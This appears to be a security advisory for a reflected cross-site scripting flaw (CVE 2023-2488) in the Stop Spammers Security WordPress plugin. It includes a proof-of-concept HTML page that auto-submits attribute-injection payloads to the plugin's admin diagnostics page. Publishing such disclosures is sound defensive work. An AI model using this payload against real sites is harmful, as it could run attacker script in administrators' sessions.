Stop Spammers Security < 2023 – Reflected XSS | CVE 2023-2488

Description

The plugin does not sanitise and escape various parameters before outputting them back in admin dashboard pages, leading to a Reflected Cross-Site Scripting which could be used against high privilege users such as admin

Proof of Concept

Make a logged in admin open a page containing the code below

<html>
  <body onload="document.forms[0].submit()">
    <form action="https://example.com/wp-admin/admin.php?page=ss_diagnostics" method="POST">
      <input type="hidden" name="author" value='" style=animation-name:rotation onanimationstart=alert(/XSS-author/)//' />
      <input type="hidden" name="subject" value='" style=animation-name:rotation onanimationstart=alert(/XSS-subject/)//' />
      <input type="submit" value="Submit request" />
    </form>
  </body>
</html>